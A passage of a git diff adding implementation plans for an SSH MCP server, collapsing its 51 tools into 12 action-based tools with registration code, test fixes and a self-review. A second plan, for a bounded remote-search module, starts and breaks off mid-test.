`ssh_execute` registration, beginning at `registerToolConditional(\n 'ssh_execute',`) through the closing `);` of the last registration (the `ssh_plan` registration that ends with ` return handleSshPlan({ dispatch, args });\n }\n);`). That is the entire span of 51 registrations. Keep `getServerConfigByName` (defined just above the first registration) and everything after the last registration (`// Clean up connections on shutdown`, the `SIGINT` handler, `main`). + +In that deleted span's place, insert the following 12 registrations. Shared zod fragments are defined once at the top to keep the schemas compact. + +```javascript +// --- v4 fat verb-tool registration ---------------------------------------- +// Shared schema fragments. Every action-scoped arg is optional; each +// dispatcher enforces its per-action required-arg map and returns a +// structured fail() naming any missing args. +const FORMAT = z.enum(['compact', 'json', 'markdown']).optional() + .describe('Output format (default compact)'); +const RAW = z.boolean().optional() + .describe('Disable output compression and truncation'); + +// deps bundle handed to every dispatcher. +const DEPS = { + getConnection, + getServerConfig: getServerConfigByName, + resolveGroup: (groupName) => { + const g = getGroup(groupName); + return g ? { name: g.name, servers: g.servers } : null; + }, +}; + +registerToolConditional('ssh_run', { + description: 'Run a command on a configured SSH server. Use instead of ' + + '`ssh host ` via Bash -- the connection is pooled (no per-call ' + + 'handshake) and output is bounded and compressed.', + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['exec', 'sudo', 'fleet']).describe('exec a command, sudo a command, or fleet-exec across a group'), + command: z.string().optional().describe('Command to run (actions: exec, sudo)'), + cwd: z.string().optional().describe('Working directory (actions: exec, sudo, fleet)'), + group: z.string().optional().describe('Server group name (action: fleet)'), + sudo_password: z.string().optional().describe('Sudo password, streamed via stdin (action: sudo)'), + timeout: z.number().optional().describe('Command timeout in ms (actions: exec, sudo)'), + raw: RAW, + format: FORMAT, + }, +}, async (args) => handleSshRun({ + deps: DEPS, + handlers: { + execute: handleSshExecute, + executeSudo: handleSshExecuteSudo, + executeGroup: handleSshExecuteGroup, + }, + args, +})); + +registerToolConditional('ssh_file', { + description: 'Transfer, read, edit, diff, or deploy files on a configured ' + + 'SSH server. Use instead of `scp` / `ssh host cat` / heredocs via Bash ' + + '-- transfers are sha256-verified and writes avoid shell-quoting hazards.', + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['upload', 'download', 'sync', 'read', 'write', 'edit', 'diff', 'deploy', 'deploy-artifact']) + .describe('File operation to perform'), + local_path: z.string().optional().describe('Local path (actions: upload, download)'), + remote_path: z.string().optional().describe('Remote path (actions: upload, download, read, write, edit)'), + content: z.string().optional().describe('File content to write (action: write)'), + old_text: z.string().optional().describe('Text to replace (action: edit)'), + new_text: z.string().optional().describe('Replacement text (action: edit)'), + source: z.string().optional().describe('Sync source, "local:"/"remote:" prefixed (action: sync)'), + destination: z.string().optional().describe('Sync destination, "local:"/"remote:" prefixed (action: sync)'), + exclude: z.array(z.string()).optional().describe('Exclude patterns (action: sync)'), + delete_extra: z.boolean().optional().describe('Delete files absent from source (action: sync)'), + head: z.number().optional().describe('Read first N lines (action: read)'), + tail: z.number().optional().describe('Read last N lines (action: read)'), + grep: z.string().optional().describe('Extended-regex filter (action: read)'), + line_start: z.number().optional().describe('Start line, 1-indexed (action: read)'), + line_end: z.number().optional().describe('End line, 1-indexed (action: read)'), + path_a: z.string().optional().describe('First file (action: diff)'), + path_b: z.string().optional().describe('Second file (action: diff)'), + server_b: z.string().optional().describe('Other server hosting path_b for a cross-server diff (action: diff)'), + artifact_local_path: z.string().optional().describe('Local artifact (actions: deploy, deploy-artifact)'), + target_path: z.string().optional().describe('Remote target path (actions: deploy, deploy-artifact)'), + post_hooks: z.array(z.string()).optional().describe('Post-deploy commands (actions: deploy, deploy-artifact)'), + health_check: z.string().optional().describe('Health check command (actions: deploy, deploy-artifact)'), + rollback_on_fail: z.boolean().optional().describe('Auto-rollback on failure (actions: deploy, deploy-artifact)'), + preview: z.boolean().optional().describe('Show the plan without executing'), + format: FORMAT, + }, +}, async (args) => handleSshFile({ + deps: DEPS, + handlers: { + upload: handleSshUpload, + download: handleSshDownload, + sync: handleSshSync, + cat: handleSshCat, + edit: handleSshEdit, + diff: handleSshDiff, + deploy: handleSshDeploy, + }, + args, +})); + +registerToolConditional('ssh_logs', { + description: 'Read remote logs. Use instead of `ssh host journalctl` / ' + + '`ssh host tail` via Bash -- output is capped and filtered so it will ' + + 'not flood context.', + inputSchema: { + server: z.string().optional().describe('Server name (actions: tail, follow-start, journal)'), + action: z.enum(['tail', 'follow-start', 'follow-read', 'follow-stop', 'journal']) + .describe('Log operation to perform'), + file: z.string().optional().describe('Log file path (actions: tail, follow-start)'), + lines: z.number().optional().describe('Trailing line count (actions: tail, follow-start, journal)'), + grep: z.string().optional().describe('Extended-regex filter (actions: tail, follow-start, journal)'), + session_id: z.string().optional().describe('Tail session id (actions: follow-read, follow-stop)'), + since_offset: z.number().optional().describe('Resume byte offset (action: follow-read)'), + unit: z.string().optional().describe('systemd unit to filter (action: journal)'), + since: z.string().optional().describe('Time lower bound (action: journal)'), + until: z.string().optional().describe('Time upper bound (action: journal)'), + priority: z.string().optional().describe('Priority filter (action: journal)'), + format: FORMAT, + }, +}, async (args) => handleSshLogs({ + deps: DEPS, + handlers: { + tail: handleSshTail, + tailStart: handleSshTailStart, + tailRead: handleSshTailRead, + tailStop: handleSshTailStop, + journal: handleSshJournalctl, + }, + args, +})); + +registerToolConditional('ssh_service', { + description: 'Inspect or control a systemd service on a configured SSH server.', + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['status', 'start', 'stop', 'restart', 'enable', 'disable']) + .describe('Service operation to perform'), + service: z.string().describe('Service unit name, e.g. "nginx" or "nginx.service"'), + preview: z.boolean().optional().describe('Preview a mutating action without running it'), + format: FORMAT, + }, +}, async (args) => handleSshService({ + deps: DEPS, + handlers: { serviceStatus: handleSshServiceStatus, systemctl: handleSshSystemctl }, + args, +})); + +registerToolConditional('ssh_health', { + description: 'Server health snapshot, resource watch, process management, ' + + 'and threshold alerts for a configured SSH server.', + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['check', 'watch', 'procs', 'alerts']).describe('Health operation to perform'), + watch_type: z.enum(['overview', 'cpu', 'memory', 'disk', 'network', 'process']) + .optional().describe('Subsystem to snapshot (action: watch)'), + proc_action: z.enum(['list', 'kill', 'info']).optional().describe('Process operation (action: procs, default list)'), + pid: z.number().optional().describe('Process id (action: procs, proc_action kill/info)'), + signal: z.enum(['TERM', 'KILL', 'HUP', 'INT', 'QUIT']).optional().describe('Kill signal (action: procs)'), + sort_by: z.enum(['cpu', 'memory']).optional().describe('Process sort key (action: procs)'), + limit: z.number().optional().describe('Process row cap (action: procs)'), + filter: z.string().optional().describe('Process name/command filter (action: procs)'), + alert_action: z.enum(['set', 'get', 'check']).optional().describe('Alert operation (action: alerts)'), + cpu_threshold: z.number().min(0).max(100).optional().describe('CPU alert threshold percent (action: alerts)'), + memory_threshold: z.number().min(0).max(100).optional().describe('Memory alert threshold percent (action: alerts)'), + disk_threshold: z.number().min(0).max(100).optional().describe('Disk alert threshold percent (action: alerts)'), + enabled: z.boolean().optional().describe('Enable/disable alert evaluation (action: alerts)'), + preview: z.boolean().optional().describe('Preview a process kill without running it'), + format: FORMAT, + }, +}, async (args) => handleSshHealth({ + deps: DEPS, + handlers: { + healthCheck: handleSshHealthCheck, + monitor: handleSshMonitor, + processManager: handleSshProcessManager, + alertSetup: handleSshAlertSetup, + }, + args, +})); + +registerToolConditional('ssh_db', { + description: 'Database operations (MySQL, PostgreSQL, MongoDB) on a ' + + 'configured SSH server. Queries are SELECT-only and token-validated.', + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['query', 'list', 'dump', 'import']).describe('Database operation to perform'), + db_type: z.enum(['mysql', 'postgresql', 'mongodb']).optional().describe('Database engine'), + database: z.string().optional().describe('Database name (actions: query, dump, import)'), + query: z.string().optional().describe('SELECT-only SQL or Mongo find (action: query)'), + collection: z.string().optional().describe('MongoDB collection (action: query)'), + output_file: z.string().optional().describe('Dump output path (action: dump)'), + tables: z.array(z.string()).optional().describe('Specific tables (action: dump)'), + input_file: z.string().optional().describe('Import input path (action: import)'), + gzip: z.boolean().optional().describe('Gzip the dump (action: dump)'), + drop: z.boolean().optional().describe('Drop existing before import, Mongo (action: import)'), + user: z.string().optional().describe('Database user'), + password: z.string().optional().describe('Database password'), + host: z.string().optional().describe('Database host'), + port: z.number().optional().describe('Database port'), + preview: z.boolean().optional().describe('Show the plan without importing (action: import)'), + format: FORMAT, + }, +}, async (args) => handleSshDb({ + deps: DEPS, + handlers: { + query: handleSshDbQuery, + list: handleSshDbList, + dump: handleSshDbDump, + import: handleSshDbImport, + }, + args, +})); + +registerToolConditional('ssh_backup', { + description: 'Create, list, restore, or schedule content-addressed backups ' + + 'on a configured SSH server.', + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['create', 'list', 'restore', 'schedule']).describe('Backup operation to perform'), + backup_type: z.enum(['mysql', 'postgresql', 'mongodb', 'files']).optional().describe('Backup type'), + name: z.string().optional().describe('Backup name (actions: create, schedule)'), + database: z.string().optional().describe('Database name (actions: create, restore, schedule)'), + paths: z.array(z.string()).optional().describe('Paths to back up (actions: create, schedule)'), + exclude: z.array(z.string()).optional().describe('Exclude patterns (action: create)'), + backup_dir: z.string().optional().describe('Backup directory'), + backup_id: z.string().optional().describe('Backup id (action: restore)'), + target_path: z.string().optional().describe('Restore target path for file backups (action: restore)'), + cron: z.string().optional().describe('Cron schedule (action: schedule)'), + retention: z.number().optional().describe('Retention days (action: schedule)'), + gzip: z.boolean().optional().describe('Gzip the backup (action: create)'), + verify: z.boolean().optional().describe('Compute/verify sha256 (actions: create, restore)'), + preview: z.boolean().optional().describe('Show the plan without executing'), + format: FORMAT, + }, +}, async (args) => handleSshBackup({ + deps: DEPS, + handlers: { + create: handleSshBackupCreate, + list: handleSshBackupList, + restore: handleSshBackupRestore, + schedule: handleSshBackupSchedule, + }, + args, +})); + +registerToolConditional('ssh_docker', { + description: 'Docker control on a configured SSH server (ps, logs, exec, ' + + 'restart, inspect).', + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['ps', 'logs', 'exec', 'restart', 'inspect']).describe('Docker operation to perform'), + container: z.string().optional().describe('Container name/id (actions: logs, exec, restart, inspect)'), + image: z.string().optional().describe('Image reference'), + command: z.string().optional().describe('Command for docker exec (action: exec)'), + tail_lines: z.number().optional().describe('Log tail line count (action: logs)'), + preview: z.boolean().optional().describe('Preview a mutating action without running it'), + format: FORMAT, + }, +}, async (args) => handleSshDockerTool({ + deps: DEPS, + handlers: { docker: handleSshDocker }, + args, +})); + +registerToolConditional('ssh_session', { + description: 'Persistent SSH sessions with preserved shell state, history ' + + 'replay, and inferred memory.', + inputSchema: { + server: z.string().optional().describe('Server name (action: start)'), + action: z.enum(['start', 'send', 'list', 'close', 'replay', 'memory']) + .describe('Session operation to perform'), + session_id: z.string().optional().describe('Session id (actions: send, close, replay, memory)'), + command: z.string().optional().describe('Command to send (action: send)'), + timeout: z.number().optional().describe('Command timeout in ms (action: send)'), + limit: z.number().optional().describe('Max commands to replay (action: replay)'), + format: FORMAT, + }, +}, async (args) => handleSshSession({ + deps: DEPS, + handlers: { + start: handleSshSessionStartNew, + send: handleSshSessionSendNew, + list: handleSshSessionListNew, + close: handleSshSessionCloseNew, + replay: handleSshSessionReplay, + memory: handleSshSessionMemory, + }, + args, +})); + +registerToolConditional('ssh_net', { + description: 'SSH tunnels (local/remote/SOCKS) and outbound port/TLS/HTTP ' + + 'reachability probes from a configured server.', + inputSchema: { + server: z.string().optional().describe('Server name (actions: tunnel-open, port-test)'), + action: z.enum(['tunnel-open', 'tunnel-list', 'tunnel-close', 'port-test']) + .describe('Network operation to perform'), + tunnel_type: z.enum(['local', 'remote', 'dynamic']).optional().describe('Tunnel kind (action: tunnel-open)'), + local_host: z.string().optional().describe('Local host (action: tunnel-open)'), + local_port: z.number().optional().describe('Local port (action: tunnel-open)'), + remote_host: z.string().optional().describe('Remote host (action: tunnel-open)'), + remote_port: z.number().optional().describe('Remote port (action: tunnel-open)'), + tunnel_id: z.string().optional().describe('Tunnel id (action: tunnel-close)'), + target_host: z.string().optional().describe('Probe target host (action: port-test)'), + target_port: z.number().optional().describe('Probe target port (action: port-test)'), + probe_chain: z.array(z.enum(['dns', 'tcp', 'tls', 'http'])).optional().describe('Probe ordering (action: port-test)'), + timeout_ms_per_probe: z.number().optional().describe('Per-probe timeout in ms (action: port-test)'), + continue_on_fail: z.boolean().optional().describe('Keep probing after a failure (action: port-test)'), + preview: z.boolean().optional().describe('Probe reachability without opening the tunnel (action: tunnel-open)'), + format: FORMAT, + }, +}, async (args) => handleSshNet({ + deps: DEPS, + handlers: { + tunnelCreate: handleSshTunnelCreate, + tunnelList: handleSshTunnelList, + tunnelClose: handleSshTunnelClose, + portTest: handleSshPortTest, + }, + args, +})); + +registerToolConditional('ssh_fleet', { + description: 'Fleet and configuration metadata: configured servers, server ' + + 'groups, aliases, profiles, hooks, host keys, command history, ' + + 'connection pool.', + inputSchema: { + action: z.enum(['servers', 'groups', 'aliases', 'profiles', 'hooks', 'keys', 'history', 'connections']) + .describe('Fleet/config entity to operate on'), + op: z.enum(['list', 'add', 'remove', 'update', 'status', 'reconnect', 'disconnect', 'cleanup', 'verify', 'accept', 'check', 'show']) + .optional().describe('Sub-operation (default list/status)'), + name: z.string().optional().describe('Entity name (group, alias, profile, hook)'), + members: z.array(z.string()).optional().describe('Member server names (action: groups)'), + target: z.string().optional().describe('Alias target server (action: aliases)'), + server: z.string().optional().describe('Server name (actions: keys, connections, history)'), + host: z.string().optional().describe('Raw host (action: keys)'), + port: z.number().optional().describe('Port (action: keys)'), + auto_accept: z.boolean().optional().describe('Auto-accept new host keys (action: keys)'), + limit: z.number().optional().describe('Row limit (action: history)'), + format: FORMAT, + }, +}, async (args) => handleSshFleet({ + deps: DEPS, + handlers: { + servers: ({ args: a }) => fleetServers({ args: a, deps: { loadServerConfig } }), + groups: ({ args: a }) => fleetGroups({ + args: a, + deps: { listGroups, createGroup, updateGroup, deleteGroup, addServersToGroup, removeServersFromGroup }, + }), + aliases: ({ args: a }) => fleetAliases({ + args: a, deps: { listAliases, addAlias, removeAlias, loadServerConfig, resolveServerName }, + }), + profiles: ({ args: a }) => fleetProfiles({ + args: a, deps: { listProfiles, setActiveProfile, getActiveProfileName, loadProfile }, + }), + hooks: ({ args: a }) => fleetHooks({ args: a, deps: { listHooks, toggleHook } }), + history: ({ args: a }) => fleetHistory({ args: a, deps: { logger } }), + connections: ({ args: a }) => fleetConnections({ + args: a, + deps: { + connections, connectionTimestamps, keepaliveIntervals, + isConnectionValid, closeConnection, cleanupOldConnections, getConnection, + }, + }), + keys: handleSshKeyManage, + }, + args, +})); + +registerToolConditional('ssh_plan', { + description: 'Declarative multi-step plan executor. Runs an ordered list of ' + + 'steps with rollback; high-risk steps need a re-run with approve_token.', + inputSchema: { + action: z.enum(['run', 'approve']).describe('run a plan, or approve and re-run a high-risk plan'), + steps: z.array(z.any()).describe('Ordered list of step objects'), + server: z.string().optional().describe('Plan-level default server for steps that omit one'), + approve_token: z.string().optional().describe('Any non-empty token; required for high-risk plans (action: approve)'), + rollback_on_fail: z.boolean().optional().describe('Walk completed steps in reverse and roll back on failure'), + format: FORMAT, + }, +}, async (args) => handleSshPlanTool({ + deps: DEPS, + handlers: { + execute: handleSshExecute, + executeSudo: handleSshExecuteSudo, + upload: handleSshUpload, + download: handleSshDownload, + edit: handleSshEdit, + systemctl: handleSshSystemctl, + backupCreate: handleSshBackupCreate, + healthCheck: handleSshHealthCheck, + }, + planFn: handleSshPlan, + args, +})); +``` + +- [ ] **Step 5: Run the registration test to verify it passes** + +Run: `node tests/test-index-registration.js` +Expected: PASS — `8 passed, 0 failed`. + +- [ ] **Step 6: Verify the server still starts** + +Run: `./scripts/validate.sh` +Expected: JavaScript syntax check passes, MCP server startup check passes. If `validate.sh` reports a syntax error in `index.js`, the deleted span was cut at the wrong boundary — re-check that exactly the 51 `registerToolConditional` calls were removed and `getServerConfigByName` plus the `SIGINT`/`main` tail were kept. + +- [ ] **Step 7: Commit** + +```bash +git add src/index.js tests/test-index-registration.js +git commit -m "feat: cut MCP surface over to 12 fat v4 verb-tools" +``` + +--- + +## Task 5: Fix `test-tool-config-manager.js` for the 12-tool registry + +`test-tool-config-manager.js` hard-codes the 51-surface in two places: a comment ("every one of the 50 tools") and `minimal`-mode assertions that expect `core` to contain `ssh_execute`. With the v4 registry, `minimal` mode serves the 3-tool `core` group (`ssh_run`, `ssh_file`, `ssh_logs`). Update only the count-dependent and tool-name-dependent assertions; the manager's logic is registry-generic and unchanged. + +**Files:** +- Modify: `tests/test-tool-config-manager.js` + +- [ ] **Step 1: Locate the coupled assertions** + +Run: `grep -n "ssh_execute\|ssh_session_start\|minimal\|51\|50 tools\|core" tests/test-tool-config-manager.js` +Expected: a list of line numbers. The coupled spots are: the doc-comment "50 tools" line; any test asserting a specific legacy tool name (e.g. `isToolEnabled('ssh_execute')`); any test asserting a hard-coded group/tool count. + +- [ ] **Step 2: Update the assertions** + +Apply these edits to `tests/test-tool-config-manager.js`: + +- In the file's doc comment, change `every one of the 50 tools` to `every one of the 12 v4 tools`. +- In any test that calls `isToolEnabled('ssh_execute')` or asserts a legacy tool, replace the tool name with a v4 name: `ssh_run` for a `core` tool, `ssh_health` for an `ops` tool, `ssh_plan` for an `advanced` tool. The assertion *intent* (a core tool is enabled in minimal mode; a non-core tool is disabled in minimal mode) is preserved; only the names change. +- In any test that asserts a hard-coded enabled-tool count under `minimal` mode, change the expected count to `3` (the v4 `core` group size) and compute it as `getGroupTools('core').length` rather than a literal where the file already imports `getGroupTools` — otherwise use the literal `3`. +- Any test asserting `getAllTools().length` equals a number: change the number to `12`, or — preferred — assert it equals `getAllTools().length` of a freshly-imported reference so it tracks the registry. + +Make no other change: the `mode: all` / corrupt-JSON / invalid-structure / `disableGroup('core')`-refused tests are registry-size-agnostic and must keep passing untouched. + +- [ ] **Step 3: Run the suite** + +Run: `node tests/test-tool-config-manager.js` +Expected: PASS — all tests green. If a test still fails, it asserted a 51-surface fact missed in Step 2 — fix that assertion the same way (swap legacy name for a v4 name, swap a count literal for `12`/`3`). + +- [ ] **Step 4: Run the full suite** + +Run: `npm test` +Expected: green. Every suite passes. The handler-level suites (`test-exec-tools.js`, `test-db-tools.js`, `test-session-tools.js`, ... — roughly 640 tests) are untouched and must still pass: they call the `src/tools/*.js` handlers directly, and those handlers were not modified anywhere in Plan 4. The dispatcher suites from Parts 1-2 pass. The four rewritten coupled suites pass. Record the real total `npm test` prints. + +> If any pre-existing handler-level suite fails, Plan 4 broke something it should not have — a dispatcher or the registration cutover touched a handler. Do not patch the test; find and revert the unintended handler change. + +- [ ] **Step 5: Commit** + +```bash +git add tests/test-tool-config-manager.js +git commit -m "test: update tool-config-manager suite for 12-tool v4 registry" +``` + +--- + +## Done criteria + +- `src/tool-registry.js` defines 12 tools across 3 groups (`core`/`ops`/`advanced`); all its exported helpers keep their signatures. +- `src/tool-annotations.js` has exactly 12 annotation entries, one per fat tool. +- `src/fleet-adapters.js` holds the seven lifted `ssh_fleet` action bodies. +- `src/index.js` registers exactly 12 tools via `registerToolConditional`; no legacy 51-surface name survives. +- `./scripts/validate.sh` passes — the MCP server starts. +- `npm test` is green: the four rewritten coupled suites pass, the new `test-fleet-adapters.js` passes, every Part 1-2 dispatcher suite passes, and the ~640 handler-level tests pass unchanged. +- The MCP surface is 12 tools. `ssh_find` (13th) and the `ssh_run` `script`/`detach`/job actions are Plan 5. + +Plan 5 adds `ssh_find` as the 13th tool (a new modular handler plus a registry/annotation/registration entry), extends the `ssh_run` action enum and dispatcher with `script` (`;`-chain exit sentinels), `detach`, `job-status`, `job-kill`, and adds the `df` / `git log` / test-runner compressors. Plan 6 adds the CLAUDE.md adoption rule and the Bash PreToolUse nudge hook. + +--- + +## Self-review + +Performed after drafting, before marking the plan ready. + +**Spec coverage (sections 3, 9).** +- "51 tools rewritten for the 13 tools" — this part cuts to 12; `ssh_find` (13th) is explicitly Plan 5, stated in the "deferred" section and the done criteria. The 12-tool registry/annotations/registration are complete and internally consistent (registry 12, annotations 12, `index.js` 12, asserted by `test-index-registration.js`'s `exactly 12 tools` test). +- "src/tool-registry.js and src/index.js registration rewritten for the 13 tools" — Tasks 1 and 4. `tool-config-manager.js` is *not* rewritten: confirmed by reading it that every reference (`getAllTools`, `findToolGroup`, `TOOL_GROUPS`, `TOOL_GROUP_COUNTS`) is generic over the registry data, so it tracks the new 12-tool data with zero code change. Its *test* needs the count/name fixes — Task 5. +- "Four suites coupled to tool names and registration are rewritten: test-index-registration, test-tool-registry, test-tool-annotations, test-tool-config-manager" — Tasks 1, 2, 4, 5 respectively. Each rewrite ships in the same task as the code it covers (registry→Task 1, annotations→Task 2, index registration→Task 4) so no task leaves `npm test` red. +- "~640 handler-level tests re-point to the same handler functions unchanged" — confirmed: the dispatchers and the registration cutover call the existing `src/tools/*.js` handlers; no handler file is edited in any Plan 4 part. The done criteria and Task 5 Step 4 both assert the handler-level suites pass untouched, with an explicit "do not patch the test, revert the handler change" instruction if one fails. +- "ssh_plan's steps dispatch table rewritten to the v4 namespace" — the `ssh_plan` registration threads `handleSshPlanTool` with handlers keyed `execute`/`executeSudo`/`upload`/... `buildPlanDispatch` (Part 2) maps those onto the plan-step action enum (`exec`/`exec_sudo`/...). The pre-v4 tool-name-keyed table is gone. +- "fat verb-tools: server + action enum + action-scoped args; every action-scoped arg optional" — every one of the 12 `inputSchema`s declares `action` as a `z.enum`, every action-scoped arg `.optional()`, and the dispatcher enforces the per-action required map. `server` is `z.string()` (required) on tools where every action needs it (`ssh_run`, `ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_docker`) and `.optional()` where some actions do not (`ssh_logs` follow-read/stop, `ssh_session` non-start, `ssh_net` tunnel-list/close, `ssh_fleet`); the dispatcher's `requireArgs` still enforces `server` per-action for those. This matches "schema cannot express conditional-required; dispatcher checks". +- "selling descriptions naming the bash each tool replaces" — `ssh_run`, `ssh_file`, `ssh_logs` descriptions name `ssh host ` / `scp` / `ssh host journalctl`, per spec section 5. The remaining nine get functional descriptions (section 5's named-bash requirement is illustrated with the core tools; the others have no single bash equivalent). + +**Placeholder scan.** Searched the draft for "TBD", "similar to Task", "add validation", "and so on", "...". The only `...` are in prose ranges ("roughly 640 tests") and never stand in for code. Task 4's registration block is the full 12-tool code, every schema field present. Task 5 is the one task expressed as a located-edit ("change X to Y") rather than a full file rewrite — justified because the file is large and only count/name literals change; each edit is concretely specified (which string, what new value) and Step 1 makes the agent `grep` the exact lines first. This is not a placeholder: the transformation is deterministic and bounded. + +**Type consistency.** +- `registerToolConditional(name, schema, handler)` — confirmed by reading `index.js` line 430: `schema` is `{ description, inputSchema }` (plus optional `title`/`annotations`, here supplied by `withAnnotations`); `inputSchema` is a plain object of zod fields, not a `z.object(...)`. Every one of the 12 new registrations matches that shape. +- Every dispatcher handler returns an MCP `{ content, isError? }` object (Parts 1-2 established this). The `async (args) => handleSsh*({...})` wrappers return that directly. `registerToolConditional`'s `wrapped` passes `(args, extra)` through; the dispatchers ignore `extra` — acceptable, the abort-signal merge in `wrapped` still happens and lands in `args.abortSignal`, which the exec handlers already read. +- `DEPS.resolveGroup` returns `{ name, servers } | null` — matches what `handleSshExecuteGroup` expects (verified against the pre-v4 `ssh_execute_group` registration, which built the identical shape). +- `fleet-adapters.js` functions return `mcp(text, isError)` → `{ content:[{type:'text',text}], isError }` — the MCP shape. The `ssh_fleet` dispatcher wraps six of them as `({args}) => fleet*({args, deps})` and passes `handleSshKeyManage` directly for `keys`; `handleSshFleet` (Part 2) calls `handlers[action]({args})` for the inline ones and `handlers.keys(makeCtx('cfg',...))` for keys — the adapter closures accept `{args}`, `handleSshKeyManage` accepts the `cfg` ctx. Consistent. +- Test runner contract: `test-tool-registry.js` keeps its `Passed:/Failed:` Pattern-B output; the other three keep `N passed, M failed` Pattern A. Both are recognised by `scripts/run-tests.mjs`. The rewrites preserve each file's existing harness style. + +**Issues found and fixed inline.** +1. First draft deleted `getServerConfigByName` along with the registration span. That function is defined just above the first `registerToolConditional` and is needed by `DEPS.getServerConfig`. Fixed: Task 4 Step 4 explicitly says keep `getServerConfigByName`, and the cut boundary is described as "first `registerToolConditional(` through the last registration's closing `);`" — `getServerConfigByName` sits above that boundary. +2. First draft gave `ssh_fleet` a `groups` adapter that forwarded `op` verbatim to `ssh_group_manage`, whose action enum is `create/update/delete/add-servers/remove-servers/list` — not `add/remove/update`. Fixed: `fleetGroups` in `fleet-adapters.js` translates the v4 `op` set onto that enum (`add`→create-group, `update`+members→add-servers, `remove`+members→remove-servers, `remove` w/o members→delete). This keeps the v4 `op` vocabulary uniform across `ssh_fleet` actions. +3. First draft's `ssh_fleet` schema omitted `op` values needed by `keys` and `connections` (`verify`/`accept`/`check`/`show`, `status`/`reconnect`/`disconnect`/`cleanup`). Fixed: the `op` enum is the union of every action's sub-operations; the dispatcher and adapters ignore values irrelevant to the chosen action. +4. `ssh_logs`/`ssh_session`/`ssh_net`/`ssh_fleet` `server` was initially `z.string()` (required). Their follow-read/stop, non-start session, tunnel-list/close, and most fleet actions take no server. Fixed: `server` is `.optional()` on those four tools; the per-action `requireArgs` map (Parts 1-2) still requires it for the actions that need it, so correctness is unchanged and the schema does not over-constrain. diff --git a/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-remote-search.md b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-remote-search.md new file mode 100644 index 0000000..3c5be23 --- /dev/null +++ b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-remote-search.md @@ -0,0 +1,686 @@ +# ssh-mcp v4 Remote Search Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Build `src/remote-search.js` — the engine behind the new `ssh_find` tool (actions `grep`, `locate`, `ls`). It emits a *server-side-bounded* remote command (a `timeout` wrapper, pruned `/proc /sys /dev /run`, `-xdev`, a `head` cap that stops the walk on SIGPIPE, `rg`-then-`grep` fallback) and parses the result into structured hits `{file, line, text}`. A blind `grep -rn /` cannot escape from this tool. + +**Architecture:** One new pure module, `src/remote-search.js`, with no I/O of its own. It exports two halves: command **builders** (`buildGrepCommand`, `buildLocateCommand`, `buildLsCommand`) that return a ready-to-exec POSIX `sh` string, and **parsers** (`parseGrepHits`, `parseLocateHits`, `parseLsRows`) that turn raw stdout into structured arrays. Plan 4's `ssh_find` dispatcher wires these to `streamExecCommand` and the renderer; this plan ships and tests the engine in isolation so it does not depend on the (parallel-authored) dispatcher existing yet. Nothing existing is modified — the module and its test suite are purely additive, so `npm test` stays green throughout. + +**Tech Stack:** Node.js ESM, the `node:assert`-based suites run by `scripts/run-tests.mjs`. `shQuote` is reused from `src/stream-exec.js`. + +This is Plan 5a of the v4 series (Plans 1-3 — render primitives, output rewrite, compressors — are complete; Plan 4 builds the 13-tool dispatcher facade). Plans 5b (`ssh_run` script + detach jobs) and 5c (connection reuse + timeout escalation) are siblings. Source spec: `docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md` sections 3, 6, 7. + +--- + +## File Structure + +- **Create `src/remote-search.js`** — the search-command builders and output parsers. Pure functions; no SSH, no `fs`. +- **Create `tests/test-remote-search.js`** — new suite. Auto-discovered by `scripts/run-tests.mjs` (matches `test-*.js`). + +The module never executes anything. A builder returns a string; the dispatcher (Plan 4) runs it. This keeps every bound assertable as a substring of the emitted command, with zero network in the test suite. + +--- + +## Task 1: Search constants and the shared bounded-command preamble + +`ssh_find` refuses a bare `/` root, prunes pseudo-filesystems, caps matches, and wraps everything in `timeout`. All three actions share that envelope, so it is built once. This task lays down the constants and the path-guard helper plus the `rg`-detection prefix, with no action-specific code yet. + +**Files:** +- Create: `src/remote-search.js` +- Test: `tests/test-remote-search.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-remote-search.js`: + +```javascript +#!/usr/bin/env node +/** + * Test suite for src/remote-search.js -- the ssh_find search engine. + * Run: node tests/test-remote-search.js + */ +import assert from 'assert'; +import { + SEARCH_DEFAULTS, + assertSearchPath, +} from '../src/remote-search.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing remote-search\n'); + +// --- SEARCH_DEFAULTS ----------------------------------------------------- +test('SEARCH_DEFAULTS: sane bounded defaults', () => { + assert.strictEqual(SEARCH_DEFAULTS.matchCap, 200); + assert.strictEqual(SEARCH_DEFAULTS.timeoutSecs, 20); + assert.strictEqual(SEARCH_DEFAULTS.crossMounts, false); + assert.deepStrictEqual( + SEARCH_DEFAULTS.prune, + ['/proc', '/sys', '/dev', '/run'], + ); +}); + +// --- assertSearchPath ---------------------------------------------------- +test('assertSearchPath: a normal path passes through', () => { + assert.strictEqual(assertSearchPath('/var/log'), '/var/log'); +}); + +test('assertSearchPath: trailing slash is trimmed (except root)', () => { + assert.strictEqual(assertSearchPath('/var/log/'), '/var/log'); +}); + +test('assertSearchPath: empty or missing path is rejected', () => { + assert.throws(() => assertSearchPath(''), /path is required/); + assert.throws(() => assertSearchPath(null), /path is required/); + assert.throws(() => assertSearchPath(' '), /path is required/); +}); + +test('assertSearchPath: bare root is refused without allow_root', () => { + assert.throws(() => assertSearchPath('/'), /refusing to search "\/"/); + assert.throws(() => assertSearchPath('//'), /refusing to search "\/"/); +}); + +test('assertSearchPath: bare root allowed only 